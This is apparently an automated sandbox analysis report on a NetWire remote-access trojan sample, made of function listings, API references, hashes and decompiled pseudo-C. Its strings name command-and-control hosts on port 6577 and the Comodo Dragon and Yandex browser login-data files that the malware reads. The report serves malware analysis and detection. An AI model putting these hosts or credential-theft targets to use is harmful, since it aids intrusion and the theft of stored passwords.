Part of subcall function 004051B5: htons.WS2_32 ref: 00405202

socket.WS2_32 ref: 00405B97
connect.WS2_32 ref: 00405BB2
socket.WS2_32 ref: 00405C34
connect.WS2_32 ref: 00405C54

Memory Dump Source

Source File: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.406181953.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.406195314.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: connectsocket$closesocketgethostbynamehtonsshutdown
String ID:
API String ID: 4225652895-0
Opcode ID: 257ab1642c2ba7176df9333284737b40def127f22e375dc60ae8d0ec264ec92a
Instruction ID: dc7f80c90ba20af356347f24dd4de35e54817c060e921352895bdcebc13e1e4f
Opcode Fuzzy Hash: 257ab1642c2ba7176df9333284737b40def127f22e375dc60ae8d0ec264ec92a
Instruction Fuzzy Hash: 7D71B7B0508B059FD710EF29D58465BBBE0FF84354F54893EE88897392D778A4468F4A

Uniqueness

Uniqueness Score: -1.00%

Function 00408C65, Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 112COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00408C81
malloc.MSVCRT ref: 00408D36
malloc.MSVCRT ref: 00408D91

Strings

:, xrefs: 00408DFB
@, xrefs: 00408DEB
netno.ddns.net:6577;ddns.dbcdubai.com:6577;netsecond.duckdns.org:6577;, xrefs: 00408C90, 00408CC9

Memory Dump Source

Source File: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.406181953.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.406195314.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: malloc
String ID: :$@$netno.ddns.net:6577;ddns.dbcdubai.com:6577;netsecond.duckdns.org:6577;
API String ID: 2803490479-1058800992
Opcode ID: 92bcfbf36f97e7b9ce3a5bb17cc0fb52a2a6fa959f7768e43986a6bb5ba9e5b6
Instruction ID: ef4ad269280774ff2184a95f10acb59d81b6a7d54bd4368cac39de452cc0daf6
Opcode Fuzzy Hash: 92bcfbf36f97e7b9ce3a5bb17cc0fb52a2a6fa959f7768e43986a6bb5ba9e5b6
Instruction Fuzzy Hash: 975128B05087009FD310EF29D58425ABBE0FF88718F41892EF5D887291D7B8958ACF8A

Uniqueness

Uniqueness Score: -1.00%

Function 00401DD8, Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 58
stringCOMMON

Download Yara Rule

C-Code - Quality: 31%

			E00401DD8(void* __ebx, void* __ebp, char* _a4, intOrPtr _a8, char _a12, intOrPtr _a16, char _a716, char _a1232) {
				void* _t23;
				intOrPtr* _t31;

				 *_t31 = 0x414;
				_t23 = malloc(??);
				if(_t23 != 0) {
					 *__esp = __ebx;
					_a16 = 0x204;
					__ebp = __ebp | 0xffffffff;
					_a12 = __eax;
					_a8 = 1;
					_a4 = 7;
					__eax = E004129FB(__eax);
					__eax =  &_a1232;
					 *__esp = __ebx;
					_a16 = 0x1000;
					_a8 = 2;
					_a4 = 7;
					__ebx =  &_a716;
					_a12 = __eax;
					__eax = E004129FB(__eax);
					_t11 =  &(__esi[0x204]); // 0x204
					__eax = _t11;
					__esi[0x40c] = 0;
					strcpy(_t11, __esi) = strcpy(__ebx, __esi);
					__eax = 0;
					__ecx = __ebp;
					asm("repne scasb");
					__ecx =  !__ebp;
					 *((char*)(__esp + __ecx + 0x2ca)) = 0;
					__eax = strcat(__ebx, 0x422a15);
					__eax = E0041E44C(__ecx, __edx, __eax, 6, 0x77);
					__ecx = __ebp;
					__esi[0x408] = __eax;
					__eax = 0;
					asm("repne scasb");
					 !__ebp =  !__ebp - 1;
					__esi[0x410] =  !__ebp - 1;
					_a4 = __esi;
					 *__esp = E00406F83;
					_t23 = E00407F08();
				}
				return _t23;
			}

APIs

malloc.MSVCRT ref: 00401DDF
strcpy.MSVCRT ref: 00401E60
strcpy.MSVCRT ref: 00401E6C
strcat.MSVCRT ref: 00401E8E

Part of subcall function 0041E44C: malloc.MSVCRT ref: 0041E48F
Part of subcall function 0041E44C: free.MSVCRT ref: 0041E510

Strings

.zip, xrefs: 00401E83
w, xrefs: 00401E93

Memory Dump Source

Source File: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.406181953.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.406195314.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: mallocstrcpy$freestrcat
String ID: .zip$w
API String ID: 50812093-307292267
Opcode ID: 12eced5c5e03f3a4b95ac78e48c1e8d48df6755b0805452f08ce4e9f4e93a691
Instruction ID: b1c1002ecfc918ecf1bb7e30c12c5e9030ce2ae0e5289fadf73960591331f9fa
Opcode Fuzzy Hash: 12eced5c5e03f3a4b95ac78e48c1e8d48df6755b0805452f08ce4e9f4e93a691
Instruction Fuzzy Hash: 3421FCF05087059FD310AF25D18839EBBE0BB84758F11CD2EE4DC87291D7BD84899B4A

Uniqueness

Uniqueness Score: -1.00%

Function 004109D8, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 63registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 00410A0F
RegEnumKeyExA.ADVAPI32 ref: 00410A66
RegCloseKey.ADVAPI32 ref: 00410AC5

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

Strings

@, xrefs: 00410A85
@, xrefs: 00410AB1

Memory Dump Source

Source File: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.406181953.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.406195314.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: CloseEnumOpen_vsnprintf
String ID: @$@
API String ID: 2247870055-149943524
Opcode ID: 4af8ef1c9b8c2e1b679c7896dbdc8660dbd74620ed8b4f8cb5af9a0fd6401769
Instruction ID: 60464b3a6ff270cdd1110ed30ec9e4aee9a85b9f4642497f56cba53994ffc826
Opcode Fuzzy Hash: 4af8ef1c9b8c2e1b679c7896dbdc8660dbd74620ed8b4f8cb5af9a0fd6401769
Instruction Fuzzy Hash: A321E3B45083019FD310EF6AC18479BBBE4BF98358F40892EE5D893340D7B895898F97

Uniqueness

Uniqueness Score: -1.00%

Function 00406D22, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 50processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32 ref: 00406DD4
CloseHandle.KERNEL32 ref: 00406DE7
CloseHandle.KERNEL32(00000000), ref: 00406DF4

Strings

D, xrefs: 00406D51
D, xrefs: 00406D31

Memory Dump Source

Source File: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.406181953.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.406195314.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: CloseHandle$CreateProcess
String ID: D$D
API String ID: 2922976086-143366177
Opcode ID: 210b95e98878966edea71671788c2c7d13693a52d3674cbc12837110b92085ad
Instruction ID: 1d5ca1a389bb095c29e0a852d1ac0a4b0f4293584b711be652509fdf01780871
Opcode Fuzzy Hash: 210b95e98878966edea71671788c2c7d13693a52d3674cbc12837110b92085ad
Instruction Fuzzy Hash: 4311A2B05087409EE710EF25C59875BBBE4BF85708F01881EF5D897291C3BA95898B87

Uniqueness

Uniqueness Score: -1.00%

Function 004089ED, Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 40COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00408A77

Part of subcall function 00410803: RegOpenKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00408A27), ref: 00410830
Part of subcall function 00410803: RegDeleteValueA.ADVAPI32 ref: 0041084B
Part of subcall function 00410803: RegCloseKey.ADVAPI32 ref: 0041085E

Strings

SOFTWARE\, xrefs: 00408A84
MT_qUDrj\F4Y0W6W85\U4RSWg6\PQ00dR5zd064WR\rQR\, xrefs: 00408A03
MT_qUDrj\F4Y0W6W85\DY542d Md5Qs\XR65CiidS PWlsWRdR56, xrefs: 00408A37
NetWire, xrefs: 00408A7C

Memory Dump Source

Source File: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.406181953.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.406195314.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: CloseDeleteOpenValuefclose
String ID: MT_qUDrj\F4Y0W6W85\DY542d Md5Qs\XR65CiidS PWlsWRdR56$MT_qUDrj\F4Y0W6W85\U4RSWg6\PQ00dR5zd064WR\rQR\$NetWire$SOFTWARE\
API String ID: 3171391837-126448098
Opcode ID: e80744430c769008ed9aa6cab13524ccc618e940c92f136a1cd14b05883cfc76
Instruction ID: bb4ce6ad198e61c342c208a9868e2ee3a63cf1cfb8a338f91740164746fe8c6d
Opcode Fuzzy Hash: e80744430c769008ed9aa6cab13524ccc618e940c92f136a1cd14b05883cfc76
Instruction Fuzzy Hash: 1101B7B06087119AD700BF65D64526DBBE0AF40348F81C82FE4C86B286DBBD8485DB5F

Uniqueness

Uniqueness Score: -1.00%

Function 0040F483, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37COMMON

Download Yara Rule

APIs

getenv.MSVCRT ref: 0040F49D

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

getenv.MSVCRT ref: 0040F4C5

Part of subcall function 00406F1A: MultiByteToWideChar.KERNEL32 ref: 00406F53
Part of subcall function 00406F1A: GetFileAttributesW.KERNEL32 ref: 00406F5E

Strings

%s\Comodo\Dragon\User Data\Default\Login Data, xrefs: 0040F4A2
%s\Comodo\Dragon\User Data\Local State, xrefs: 0040F4CA
LOCALAPPDATA, xrefs: 0040F48F, 0040F4BE

Memory Dump Source

Source File: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.406181953.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.406195314.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: getenv$AttributesByteCharFileMultiWide_vsnprintf
String ID: %s\Comodo\Dragon\User Data\Default\Login Data$%s\Comodo\Dragon\User Data\Local State$LOCALAPPDATA
API String ID: 2228561779-3697102118
Opcode ID: 809e396fd2eab3f384f240020dfbce2e1602ed8e0f4d2e0b249a73290c3eb897
Instruction ID: d845c7456769ba672d696a4f857c2cede61afe7a33709c8199a018e4a54c7ca9
Opcode Fuzzy Hash: 809e396fd2eab3f384f240020dfbce2e1602ed8e0f4d2e0b249a73290c3eb897
Instruction Fuzzy Hash: 4B011AB4408311AAC720BF26E54515EBFE0EF90798F51C83EE4D85B282C37C9599CB4B

Uniqueness

Uniqueness Score: -1.00%

Function 0040F584, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37COMMON

Download Yara Rule

APIs

getenv.MSVCRT ref: 0040F59E

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

getenv.MSVCRT ref: 0040F5C6

Part of subcall function 00406F1A: MultiByteToWideChar.KERNEL32 ref: 00406F53
Part of subcall function 00406F1A: GetFileAttributesW.KERNEL32 ref: 00406F5E

Strings

%s\Yandex\YandexBrowser\User Data\Default\Login Data, xrefs: 0040F5A3
%s\Yandex\YandexBrowser\User Data\Local State, xrefs: 0040F5CB
LOCALAPPDATA, xrefs: 0040F590, 0040F5BF

Memory Dump Source

Source File: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.406181953.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.406195314.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: getenv$AttributesByteCharFileMultiWide_vsnprintf
String ID: %s\Yandex\YandexBrowser\User Data\Default\Login Data$%s\Yandex\YandexBrowser\User Data\Local State$LOCALAPPDATA
API String ID: 2228561779-3489194376
Opcode ID: 68b987b7df37829b9a00a3fc2ae6c69fefa8b54b0ffe266c0bd912540733622b
Instruction ID: 72942ae6a08e2cc9bbddce61338429521d73e105c6a9dac996e77309fd9095c7
Opcode Fuzzy Hash: 68b987b7df37829b9a00a3fc2ae6c69fefa8b54b0ffe266c0bd912540733622b
Instruction Fuzzy Hash: D7011AB0508351AAD710BF22E54515EBFE0AF81358F51C83EE0D86B282C37C8599CB4B

Uniqueness

Uniqueness Score: -1.00%

Function 00410520, Relevance: 7.6, APIs: 5, Instructions: 61registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 00410558
RegQueryValueExA.ADVAPI32 ref: 00410596
malloc.MSVCRT ref: 004105A9
RegQueryValueExA.ADVAPI32 ref: 004105D9
RegCloseKey.ADVAPI32 ref: 004105F8

Memory Dump Source

Source File: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.406181953.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.406195314.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: QueryValue$CloseOpenmalloc
String ID:
API String ID: 3087825141-0
Opcode ID: 3f55ee12f37df9633c9449e8ab3bbef419fc1eacaba22a8e78c85ad9c6febda2
Instruction ID: dddce03a098769392e7a375fb59deb789f7659c2eda9270703039da878427773
Opcode Fuzzy Hash: 3f55ee12f37df9633c9449e8ab3bbef419fc1eacaba22a8e78c85ad9c6febda2
Instruction Fuzzy Hash: EC21A3B05083019FD700EF29D58465BBBE4BF88748F00892EF8C893201E778DA888F86

Uniqueness

Uniqueness Score: -1.00%

Function 0041E557, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 209
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E0041E557(signed int __ecx, char* _a4, intOrPtr _a8) {
				char _v552;
				signed int _v556;
				char _v560;
				char _v568;
				char _v572;
				char _v576;
				char _v580;
				char _v584;
				char _v588;
				char _v590;
				char _v600;
				char _v604;
				char* _v608;
				char* _v612;
				char _v616;
				int _v620;
				signed int _v624;
				char _v628;
				char* _v652;
				signed int _v656;
				char* _v660;
				signed int _v664;
				signed int _t111;
				signed int _t112;
				char _t114;
				void* _t118;
				char* _t124;
				signed int _t126;
				signed int _t127;
				void* _t131;
				char _t133;
				char _t140;
				char _t151;
				char* _t157;
				void* _t160;
				signed int _t163;
				char _t165;
				signed int _t167;
				char _t169;
				signed int _t173;
				char _t174;
				void* _t184;
				char* _t187;
				intOrPtr _t188;
				char _t189;

				_t191 =  &_v652;
				_t187 = _a4;
				_t188 = _a8;
				if(_t187 == 0) {
					L24:
					_t112 = _t111 | 0xffffffff;
					__eflags = _t112;
					return _t112;
				}
				_t3 =  &_v620;
				 *_t3 = _t188 == 0;
				if( *_t3 == 0) {
					goto L24;
				}
				_t111 = _v620;
				asm("repne scasb");
				_t157 =  !(__ecx | 0xffffffff) - 1;
				_v612 = _t157;
				if(_t157 == 0) {
					goto L24;
				}
				_t111 = E004162D5(_t188, _t157);
				_t187[0x5c] = _t111;
				if(_t111 == 0) {
					goto L24;
				}
				_t151 = _t187[0x14];
				if(_t151 != 1) {
					_t114 =  *_t187;
					_t169 = _t187[4];
					_t189 = _t187[0x10];
					_t187[0x68] = 0;
					_t187[0x6c] = 0;
					_t187[0x60] = 0;
					_t187[0x78] = _t114;
					_t187[0x7c] = _t169;
					_t187[0xa0] = _t114;
					_t187[0xa4] = _t169;
					_v628 = _t114;
					_v624 = _t169;
					_t187[0x58] = _t189;
					_t187[0x64] = 0;
					_t187[0x70] = 0;
					memset( &(_t187[0x80]), _v620, 0x1e << 0);
					_t191 =  &(( &_v652)[3]);
					_t187[0xa8] = 0;
					_t187[0x4e008] = 0;
					_t118 = E0041493A(_t187);
					__eflags = _t187[0x48];
					_t160 = _t118;
					if(_t187[0x48] == 0) {
						L22:
						_t111 = _t187[0x5c];
						__eflags = _t111;
						if(_t111 != 0) {
							 *_t191 = _t111;
							free(??);
							_t187[0x5c] = 0;
						}
						goto L24;
					}
					__eflags = _t151 - 2;
					if(_t151 != 2) {
						goto L22;
					}
					__eflags = _t187[0x51] & 0x00000004;
					if((_t187[0x51] & 0x00000004) != 0) {
						goto L22;
					}
					__eflags = _t189 - 0xffff;
					if(_t189 == 0xffff) {
						goto L22;
					}
					_t184 = _t118;
					_v616 = 0;
					_v620 = _v612;
					asm("adc edx, 0x0");
					asm("adc edx, [esp+0x34]");
					asm("adc edx, ebp");
					__eflags = _v624;
					if(__eflags > 0) {
						goto L22;
					}
					_t66 = _t160 + 0x1e; // 0x1e
					_t124 = _t66;
					_v608 = _t124;
					 *_t191 = _t124;
					_t126 = E00414DC1(_t187, _v624, _v628, __eflags);
					__eflags = _t126;
					if(_t126 == 0) {
						goto L22;
					}
					_t173 = _t187[0x24];
					_t163 = _t184 + _t187[0xa0];
					_t127 = _t187[0x20];
					asm("adc ebx, [esi+0xa4]");
					__eflags = _t173 | _t127;
					_t187[0xa0] = _t163;
					_t187[0xa4] = 0;
					if((_t173 | _t127) != 0) {
						asm("adc edx, 0xffffffff");
						__eflags = _t173 & 0 | _t127 + 0xffffffff & _t163;
						if((_t173 & 0 | _t127 + 0xffffffff & _t163) != 0) {
							_v660 = 0x147;
							_v664 = 0x4249cc;
							 *_t191 = "(zip->entry.header_offset & (pzip->m_file_offset_alignment - 1)) == 0";
							L0041F7E4();
						}
					}
					_t165 =  &(_v608[_t187[0x78]]);
					asm("adc ebx, [esi+0x7c]");
					_t187[0x78] = _t165;
					_t187[0x7c] = 0;
					_v652 = _v612;
					_v664 = _t165;
					_v660 = 0;
					_v656 = _t187[0x5c];
					 *_t191 = _t187[0x44];
					_t131 = _t187[0x3c]();
					__eflags = _v612 - _t131;
					if(_v612 != _t131) {
						goto L22;
					} else {
						_t133 = _v620 + _t187[0x78];
						_t174 = _v616;
						asm("adc edx, [esi+0x7c]");
						_t167 = _t187[0x50] & 0x0000000f;
						__eflags = _t167;
						_t187[0x78] = _t133;
						_t187[0x7c] = _t174;
						if(_t167 != 0) {
							_t187[0xbc] = _t174;
							_t187[0xb0] = _t187;
							_t187[0xb8] = _t133;
							_t187[0xc0] = 0;
							_t187[0xc4] = 0;
							 *_t191 = _t167;
							_v660 = 0;
							_v664 = 0xfffffff1;
							_v656 = E0041A99E();
							_v664 = E00416018;
							_v660 =  &(_t187[0xb0]);
							 *_t191 =  &(_t187[0xc8]);
							_t133 = E0041A64C();
							__eflags = _t133;
							if(_t133 == 0) {
								goto L19;
							}
							goto L22;
						}
						L19:
						 *_t191 = 0;
						L0041F6BC();
						L20:
						_t187[0x4e00c] = _t133;
						return 0;
					}
				}
				_v656 = 0;
				_v660 = 0;
				_v664 = _t111;
				 *_t191 = _t187;
				_t140 = E0041B6F9(_t111, _t157);
				_t187[0x58] = _t140;
				if(_t140 < 0) {
					goto L22;
				}
				_v664 = _t140;
				 *_t191 = _t187;
				_v660 =  &_v604;
				if(E0041B06A() == 0) {
					goto L22;
				} else {
					_t187[0x7c] = 0;
					_t187[0x68] = _v580;
					_t187[0x6c] = _v576;
					_t187[0x60] = _v572;
					_t187[0x64] = _v568;
					_t187[0x70] = _v584;
					_t187[0xa4] = _v552;
					_t187[0x78] = _v600;
					_t187[0xa0] = _v556;
					_t187[0xa8] = _v590;
					_t187[0x4e008] = _v560;
					_t133 = _v588;
					goto L20;
				}
			}

APIs

Part of subcall function 004162D5: malloc.MSVCRT ref: 004162E5

_assert.MSVCRT ref: 0041E7AC
free.MSVCRT(?), ref: 0041E88F

Part of subcall function 0041B06A: mktime.MSVCRT ref: 0041B156

Strings

(zip->entry.header_offset & (pzip->m_file_offset_alignment - 1)) == 0, xrefs: 0041E7A5

Memory Dump Source

Source File: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.406181953.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.406195314.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: _assertfreemallocmktime
String ID: (zip->entry.header_offset & (pzip->m_file_offset_alignment - 1)) == 0
API String ID: 3323008696-2866909811
Opcode ID: c4bf59fc29830c843d8361e995f1366899ef6f7b713e9cb50b4e39fef3ade159
Instruction ID: 3dca5e95c5ab967c09f080b3d2ea03d2fc68d3d15dd66e283c87f82fc43bd00f
Opcode Fuzzy Hash: c4bf59fc29830c843d8361e995f1366899ef6f7b713e9cb50b4e39fef3ade159
Instruction Fuzzy Hash: D0A1D8B4904B408FD360DF2AC48475BBBE1BF88354F54892EE9EA87750D778E885CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0040D420, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 105registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040D290: CryptAcquireContextA.ADVAPI32 ref: 0040D2E2
Part of subcall function 0040D290: CryptCreateHash.ADVAPI32 ref: 0040D31C
Part of subcall function 0040D290: CryptHashData.ADVAPI32 ref: 0040D34B
Part of subcall function 0040D290: CryptGetHashParam.ADVAPI32 ref: 0040D38A

Part of subcall function 00407F7A: LoadLibraryA.KERNEL32 ref: 00407F84

Part of subcall function 00407F8E: GetProcAddress.KERNEL32 ref: 00407FA0

RegQueryValueExA.ADVAPI32 ref: 0040D4EC
LocalFree.KERNEL32 ref: 0040D5B8

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

Strings

P0Zs5uRs0W5dY5aC5C, xrefs: 0040D499
Y0Zs5Nh.Sii, xrefs: 0040D478

Memory Dump Source

Source File: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.406181953.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.406195314.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: Crypt$Hash$AcquireAddressContextCreateDataFreeLibraryLoadLocalParamProcQueryValue_vsnprintf
String ID: P0Zs5uRs0W5dY5aC5C$Y0Zs5Nh.Sii
API String ID: 2081058215-3187465909
Opcode ID: 5a86b60eb7b24f86e885ff524fb9dc5150f0e0451a94be218f3f5f5105dd560d
Instruction ID: 3ebc2064e8f7268df4b8e6a934d6e56f21a9b96c1547cc96c36b4704c4ff52fe
Opcode Fuzzy Hash: 5a86b60eb7b24f86e885ff524fb9dc5150f0e0451a94be218f3f5f5105dd560d
Instruction Fuzzy Hash: 78419CB4A083419FD710EF69C58465AFBF0BF85358F00892EE8C897351EB79D588CB86

Uniqueness

Uniqueness Score: -1.00%

Function 004211C0, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 105COMMON

Download Yara Rule

APIs

_assert.MSVCRT ref: 00421315

Strings

../nettle-3.5.1/aes-set-key-internal.c, xrefs: 00421306
8, xrefs: 004212FE
nk != 0, xrefs: 0042130E

Memory Dump Source

Source File: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.406181953.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.406195314.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: _assert
String ID: ../nettle-3.5.1/aes-set-key-internal.c$8$nk != 0
API String ID: 1222420520-577961111
Opcode ID: d0b8bfb88443995b5d46237e8dd2c2796db4cd98f11c714f3134454e1f713599
Instruction ID: 89e7217bd13c7babcd5adc9bb28dc37eee23235c195977e0ffb5d0d95595f474
Opcode Fuzzy Hash: d0b8bfb88443995b5d46237e8dd2c2796db4cd98f11c714f3134454e1f713599
Instruction Fuzzy Hash: E74127707082B14BE3188F1D989413EBFE1ABD6201FCA4AAFF4C5C7252D539D518CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0040B016, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63fileCOMMON

Download Yara Rule

APIs

fopen.MSVCRT ref: 0040B056
fread.MSVCRT ref: 0040B080
fclose.MSVCRT ref: 0040B0F3

Strings

Path=, xrefs: 0040B091

Memory Dump Source

Source File: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.406181953.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.406195314.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: fclosefopenfread
String ID: Path=
API String ID: 2679521937-3676292482
Opcode ID: e2600f1d5f8662e9c392fe55e0e07e3544c7b57ce058911e094c9610cb459c02
Instruction ID: 2438fad20f86bae77410323f418e8e562921bdaa67428cf1c8451c05b399b209
Opcode Fuzzy Hash: e2600f1d5f8662e9c392fe55e0e07e3544c7b57ce058911e094c9610cb459c02
Instruction Fuzzy Hash: 9B213EB05493459ED310AF65C5843AFBBE0EF80348F01883EE8E887341D77C8589DB4A

Uniqueness

Uniqueness Score: -1.00%

Function 0040B105, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63fileCOMMON

Download Yara Rule

APIs

fopen.MSVCRT ref: 0040B145
fread.MSVCRT ref: 0040B16F
fclose.MSVCRT ref: 0040B1E2

Strings

Default=, xrefs: 0040B180

Memory Dump Source

Source File: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.406181953.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.406195314.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: fclosefopenfread
String ID: Default=
API String ID: 2679521937-1704153231
Opcode ID: cef17687d92d9b4a792fbe74fccce4ea79b1ff820fbda775a6627d7b36aa9cc9
Instruction ID: 8e46bd977f0b38dff8dfac3cdc2039ee507d5f54b24c6ee619e1854a5548e2c2
Opcode Fuzzy Hash: cef17687d92d9b4a792fbe74fccce4ea79b1ff820fbda775a6627d7b36aa9cc9
Instruction Fuzzy Hash: 85213EB05493059ED320AF65C59879FBBE0EF84358F00882EE8D887251D77C8588DB4A

Uniqueness

Uniqueness Score: -1.00%

Function 00414470, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61processthreadCOMMON

Download Yara Rule

APIs

Part of subcall function 00406F1A: MultiByteToWideChar.KERNEL32 ref: 00406F53
Part of subcall function 00406F1A: GetFileAttributesW.KERNEL32 ref: 00406F5E

Part of subcall function 00407E8C: fopen.MSVCRT ref: 00407E9F
Part of subcall function 00407E8C: fread.MSVCRT ref: 00407EC7
Part of subcall function 00407E8C: fclose.MSVCRT ref: 00407ED4

CreateProcessA.KERNEL32 ref: 0041451B

Part of subcall function 00408AF3: ReleaseMutex.KERNEL32(?,?,?,?,?,?,0041452C), ref: 00408B02
Part of subcall function 00408AF3: CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,0041452C), ref: 00408B10

Part of subcall function 00405999: shutdown.WS2_32 ref: 004059B6
Part of subcall function 00405999: closesocket.WS2_32(00000000), ref: 004059C2

ResumeThread.KERNEL32 ref: 00414542
ExitProcess.KERNEL32 ref: 00414552

Strings

D, xrefs: 004144A8

Memory Dump Source

Source File: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.406181953.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.406195314.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: Process$AttributesByteCharCloseCreateExitFileHandleMultiMutexReleaseResumeThreadWideclosesocketfclosefopenfreadshutdown
String ID: D
API String ID: 3751753202-2746444292
Opcode ID: f8650b9407d0b2bd35c033e0c183c6fdc47d0c7d8f843b636e5c65679c480df3
Instruction ID: 067f5d9187edf2fa4930e283bd60014924ca834b1665164d65a9df55d347b5cc
Opcode Fuzzy Hash: f8650b9407d0b2bd35c033e0c183c6fdc47d0c7d8f843b636e5c65679c480df3
Instruction Fuzzy Hash: C721B0B05087419AD710AF66C59976FBBE0BF80348F01881EE5D85B382D7BD8489CF9B

Uniqueness

Uniqueness Score: -1.00%

Function 00405811, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 52networkCOMMON

Download Yara Rule

APIs

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

send.WS2_32 ref: 00405878
recv.WS2_32 ref: 004058B7

Strings

200 OK, xrefs: 004058C7
PTLLjPq %6:%S -qq9/G.y, xrefs: 00405828

Memory Dump Source

Source File: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.406181953.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.406195314.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: _vsnprintfrecvsend
String ID: 200 OK$PTLLjPq %6:%S -qq9/G.y
API String ID: 2169655391-891714383
Opcode ID: 2ec24ba702f98473ee5d9a715ab26bdcf3092223efe4a5c028eb6e3fbd3b2434
Instruction ID: 44476910b367cb1c2704fc52ca41c1ffc0a5ae24bf239666488ca44df54fa44d
Opcode Fuzzy Hash: 2ec24ba702f98473ee5d9a715ab26bdcf3092223efe4a5c028eb6e3fbd3b2434
Instruction Fuzzy Hash: 4111E2B1409301AED310AF29D58935FFBE0FF84354F51882EE4D897251D7788989DF96

Uniqueness

Uniqueness Score: -1.00%

Function 0040A115, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 44timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 0040A13F
